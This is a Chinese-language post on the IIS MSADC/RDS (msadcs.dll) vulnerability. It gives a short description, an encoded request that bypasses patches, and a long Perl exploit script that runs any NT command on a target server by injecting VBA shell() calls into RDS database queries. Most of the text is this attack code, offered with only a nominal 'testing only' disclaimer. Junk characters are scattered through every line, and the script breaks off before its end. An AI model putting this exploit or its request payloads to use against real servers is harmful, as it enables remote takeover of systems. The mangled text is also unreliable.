IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Wks zNh b*W,8HF 4, 涉及程序:
LF`]=.Q Microsoft NT server
fWPa1E@ dU*$V7 描述:
KWxTN|> 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
q44vI ]c v/dY# 详细:
pP#D*hiP-g 如果你没有时间读详细内容的话,就删除:
HE{UgU:tY c:\Program Files\Common Files\System\Msadc\msadcs.dll
z;?ztpa@ 有关的安全问题就没有了。
"@5qjLz] aS[y\9(** 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
7IFZK\V >0[:uu,'> 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
}Ml BmD 关于利用ODBC远程漏洞的描述,请参看:
Zn0a)VH%
@{UUB=}9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~Ad2L*5S ]8R@2L3s 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Q>$lf.) http://www.microsoft.com/security/bulletins/MS99-025faq.asp U.V/JbXX $IS!GS&: 这里不再论述。
+8W5amk.P| YcV^Fqi! 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
.N>*+U>>P S,C c0)j> /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
St(jrZb 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
bI3GI:hp %sPze] j/Y]3RSMp #将下面这段保存为txt文件,然后: "perl -x 文件名"
[3sZ=)G %I9f_5BlT8 #!perl
8ki3>"!A #
qdy(C^(fa # MSADC/RDS 'usage' (aka exploit) script
l.]wBH#RS #
GRJ6|T$!?$ # by rain.forest.puppy
l*]hUP J #
OiXO<1'$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?{}P#sn # beta test and find errors!
tl{{Vc[ g\q4- use Socket; use Getopt::Std;
$j(d`@.DN~ getopts("e:vd:h:XR", \%args);
0:71Xm y$bY
8L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
2LR y/ah ,C"6@/:l if (!defined $args{h} && !defined $args{R}) {
X `EVjK print qq~
'K02T:\iZ Usage: msadc.pl -h <host> { -d <delay> -X -v }
9_d#F'#F -h <host> = host you want to scan (ip or domain)
qy.$5-e:[9 -d <seconds> = delay between calls, default 1 second
~4Gc~ " -X = dump Index Server path table, if available
N$#~& -v = verbose
p-_9I7? -e = external dictionary file for step 5
i$p2am8f !hM`Oe`S Or a -R will resume a command session
,`Z4fz: 9d^m 7}2 ~; exit;}
+6l#hO7h [<{r~YFjWW $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
0G-obHe0 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
q2J|koT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
+jZa A/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N?-ZvE\C $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[;7zg@Sa if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
_q1\8y [e
ztu9 if (!defined $args{R}){ $ret = &has_msadc;
LxGD=b die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
3u[8;1}7Q ]|PTZ1?j print "Please type the NT commandline you want to run (cmd /c assumed):\n"
0SWqC@AR% . "cmd /c ";
(yi zM $in=<STDIN>; chomp $in;
jSHFY]2 $command="cmd /c " . $in ;
spm)X-[1 g(X`.0 if (defined $args{R}) {&load; exit;}
i.7_ i78\" qD\9h`a print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
DiOd!8Y &try_btcustmr;
Q:Pp'[ RK Y$"m*0 print "\nStep 2: Trying to make our own DSN...";
z8'zH> &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
lb}RPvQE svDnw cl print "\nStep 3: Trying known DSNs...";
l3ogMRq@ &known_dsn;
g.di3GGi _V1:'T8 print "\nStep 4: Trying known .mdbs...";
[t3 Kgjt &known_mdb;
13Z,;YW EATVce]T if (defined $args{e}){
f 42F@M(: print "\nStep 5: Trying dictionary of DSN names...";
1Dc6v57 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ebJTrh <{ gsEcvkj* print "Sorry Charley...maybe next time?\n";
4t
}wMOR exit;
hx;kNcPbI 0 AffD: ##############################################################################
4FZR }e\ &}Wi@;G]2 sub sendraw { # ripped and modded from whisker
]g ;+7 sleep($delay); # it's a DoS on the server! At least on mine...
S .x>w/ my ($pstr)=@_;
|;~2y>E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6Y\TVRR die("Socket problems\n");
QgYt(/S if(connect(S,pack "SnA4x8",2,80,$target)){
/D;ugc*3 select(S); $|=1;
T-STM"~% print $pstr; my @in=<S>;
Q<D_QJ select(STDOUT); close(S);
WvJ:yUb2 return @in;
;>6~}lMgJ } else { die("Can't connect...\n"); }}
T }msF A'~mJO/ ##############################################################################
j0~c2 8'zl\:@N sub make_header { # make the HTTP request
/0gr?I1wr7 my $msadc=<<EOT
ulW>8bW& POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s:xJ }Ll User-Agent: ACTIVEDATA
z a_0-G%C2 Host: $ip
=8tK]lb Content-Length: $clen
x"C7NW[$ Connection: Keep-Alive
9Xa.%vw> 7lz"^ ADCClientVersion:01.06
#.n%$r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
O;*.dR N2^B --!ADM!ROX!YOUR!WORLD!
!xxu~j^T Content-Type: application/x-varg
c0%%X!!$ Content-Length: $reqlen
o-jF?9m ?"[h P=3J EOT
7}<057Xn' ; $msadc=~s/\n/\r\n/g;
e.|_=Gd2/ return $msadc;}
cSSrMYX2 Ya)s_Zr7 ##############################################################################
yS[Z%]bvU l;dZJ_Ut$ sub make_req { # make the RDS request
75V?K my ($switch, $p1, $p2)=@_;
B^SD5 my $req=""; my $t1, $t2, $query, $dsn;
n8 eR?'4 Q7 Clr{& if ($switch==1){ # this is the btcustmr.mdb query
1wa zJj=v $query="Select * from Customers where City=" . make_shell();
$(6 .K-D $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
5Go&+|c vJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
+0Rr5^8u bt,^-gt@ elsif ($switch==2){ # this is general make table query
+)Pv6Zog[ $query="create table AZZ (B int, C varchar(10))";
U8z$=Wo $dsn="$p1";}
lnFOD+y9 [~ sXjaL8 elsif ($switch==3){ # this is general exploit table query
>k?/'R $query="select * from AZZ where C=" . make_shell();
P/'~&*m- $dsn="$p1";}
,xew3c'(W 2>3gC_^go elsif ($switch==4){ # attempt to hork file info from index server
,f4mFL0~N $query="select path from scope()";
yuvt<kz $dsn="Provider=MSIDXS;";}
>a;^=5E D@i,dPz5Zl elsif ($switch==5){ # bad query
Ne<"o]_M $query="select";
.3%eSbt0 $dsn="$p1";}
'|b { ai(<"|( $t1= make_unicode($query);
pHFh7-vj $t2= make_unicode($dsn);
_,i]ra{% $req = "\x02\x00\x03\x00";
*=1;HN3 $req.= "\x08\x00" . pack ("S1", length($t1));
L)'JkX J $req.= "\x00\x00" . $t1 ;
-~A7o3k35 $req.= "\x08\x00" . pack ("S1", length($t2));
.F0V $req.= "\x00\x00" . $t2 ;
R$&|*0
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k[l+~5ix return $req;}
^j?\_r'j zi23k= ##############################################################################
8u$Krq ,@=qaU sub make_shell { # this makes the shell() statement
>eg&i(C+ return "'|shell(\"$command\")|'";}
(XJehdB0 ^lT$D8 ##############################################################################
`e0U-W]kF OE-$P sub make_unicode { # quick little function to convert to unicode
0K'lr;
my ($in)=@_; my $out;
$V~r*#$. for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Wxg,y{(` return $out;}
*$x/(!UE e|
(jv<~r ##############################################################################
hA?j"y0? (|Am sub rdo_success { # checks for RDO return success (this is kludge)
!W/O g 5n my (@in) = @_; my $base=content_start(@in);
+~=>72/r if($in[$base]=~/multipart\/mixed/){
_Kx
/z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-Q;5A;sr2 return 0;}
!o*BRR* ?6B)Ek,'X? ##############################################################################
yw5MlZ4P= }1w[G;$ sub make_dsn { # this makes a DSN for us
2GcQh]ohc my @drives=("c","d","e","f");
K;G1cFFyG print "\nMaking DSN: ";
B_M)<Ad foreach $drive (@drives) {
;u,%an<( print "$drive: ";
?]f+)tCMs my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
1j6ZSE/*| "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(`4^|_gw . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
TQ" [2cY $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
whoz^n3N E return 0 if $2 eq "404"; # not found/doesn't exist
|Wj)kr !| if($2 eq "200") {
2Ua_7 foreach $line (@results) {
!
2"zz/N{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
z7MJxjH } return 0;}
*-Y77p7u =ALy.^J= ##############################################################################
|A7Yv 9M~EH?>+[ sub verify_exists {
0F`@/C1y55 my ($page)=@_;
p{!aRB% my @results=sendraw("GET $page HTTP/1.0\n\n");
Q5r cPU>A return $results[0];}
W+a>*#* %B3E9<9>U ##############################################################################
Xgd!i}6Q
k$}XZ,Q sub try_btcustmr {
aC X](sN my @drives=("c","d","e","f");
5h+g^{BE my @dirs=("winnt","winnt35","winnt351","win","windows");
-n!.PsGO>
nq8mz I foreach $dir (@dirs) {
(p68Qe%OuG print "$dir -> "; # fun status so you can see progress
nWbe=z&y8[ foreach $drive (@drives) {
u
q:>g print "$drive: "; # ditto
s}`ydwSg8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
e<l Wel $reqlenlen=length( "$reqlen" );
9Z6] ];8E $clen= 206 + $reqlenlen + $reqlen;
E92dSLhs5 mR[J Xh9s my @results=sendraw(make_header() . make_req(1,$drive,$dir));
C$aiOK-]+ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
nmc=RK^cM else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
eek5Xm B~lrd#qC ##############################################################################
ai`fP{WlX ??aOr*% sub odbc_error {
Yj/S(4(h? my (@in)=@_; my $base;
M=x/PrY"R my $base = content_start(@in);
z++*,2F if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
X;v/$=-mz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4kT| /bp $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|
3!a= $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*r?g&Vw$m return $in[$base+4].$in[$base+5].$in[$base+6];}
t\CVL?e` print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
ZBdZr print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
UALwr>+VJ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
-/B}XNW MH 'S,^J ##############################################################################
`{N0+n Od^y&$|_%` sub verbose {
I`t"Na2i my ($in)=@_;
be$wGO=Ts return if !$verbose;
)mB+#T<k- print STDOUT "\n$in\n";}
2!-ZNd:(+ dU3UCD+2y ##############################################################################
-G(z!ed <3LyNG. sub save {
+Ys<V my ($p1, $p2, $p3, $p4)=@_;
&tj0Z: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
xQ* U9Wt;T print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
)T(xQ2&r4 close OUT;}
R4_4 FEo w-AF5%gX ##############################################################################
Jq l#z/z =~?2i)-mC sub load {
?M;2H{KG: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^p|MkB?uM open(IN,"<rds.save") || die("Couldn't open rds.save\n");
FdKp@&O+1 @p=<IN>; close(IN);
@%O"P9;s $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
`]FA} wC $target= inet_aton($ip) || die("inet_aton problems");
Vu*yEF} print "Resuming to $ip ...";
&AU%3b $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
`*&*jdq&i if($p[1]==1) {
PnFU{N $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
,1Suq\
L $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
c;&m}ImLe. my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Pc nr if (rdo_success(@results)){print "Success!\n";}
/wljbb/s else { print "failed\n"; verbose(odbc_error(@results));}}
?>1AT==wI elsif ($p[1]==3){
7;5?2)+=6 if(run_query("$p[3]")){
T6Z 2 # print "Success!\n";} else { print "failed\n"; }}
a^~T-;_V elsif ($p[1]==4){
UkG|5P` if(run_query($drvst . "$p[3]")){
bVQLj}% print "Success!\n"; } else { print "failed\n"; }}
Lf3Ri/@ p exit;}
>O&(G0!N+} *
Od_Cl ##############################################################################
k*J}/HO D}SRr,4v sub create_table {
z~L4BY @z my ($in)=@_;
=IkQ;L& $reqlen=length( make_req(2,$in,"") ) - 28;
hWJ\dwF $reqlenlen=length( "$reqlen" );
dFjB &#Tl $clen= 206 + $reqlenlen + $reqlen;
f h)Cz) my @results=sendraw(make_header() . make_req(2,$in,""));
I')URk[ return 1 if rdo_success(@results);
2Y(Phw2% my $temp= odbc_error(@results); verbose($temp);
~x)Awdlu return 1 if $temp=~/Table 'AZZ' already exists/;
QjWv?tm return 0;}
'aBX>M u&I?LZ-=, ##############################################################################
_SY<(2s]B `l9Pk\X[ sub known_dsn {
s_hf,QH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0F8y8s my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
V9`VFO "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
@g
}r*U? "banner", "banners", "ads", "ADCDemo", "ADCTest");
*Y?rls ` <T)9mJYr foreach $dSn (@dsns) {
ctTg-J2. print ".";
u_dTJ,m next if (!is_access("DSN=$dSn"));
ZK[4 n5} if(create_table("DSN=$dSn")){
izebQVQO* print "$dSn successful\n";
azr|Fz/ if(run_query("DSN=$dSn")){
%Nwap~=H; print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
S)iv k x print "Something's borked. Use verbose next time\n";}}} print "\n";}
3Nd&*QSV )-xx$0mL- ##############################################################################
R^iF^IB M9.jJf sub is_access {
H1yl88K my ($in)=@_;
mQ;b'0& $reqlen=length( make_req(5,$in,"") ) - 28;
ZF_*h`B
$reqlenlen=length( "$reqlen" );
MRxzOs $clen= 206 + $reqlenlen + $reqlen;
sTP`xaY my @results=sendraw(make_header() . make_req(5,$in,""));
Wrf(' my $temp= odbc_error(@results);
KqG:o+V= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
J/>Y mi, return 0;}
jmxjiJKP btkD<1{g ##############################################################################
E
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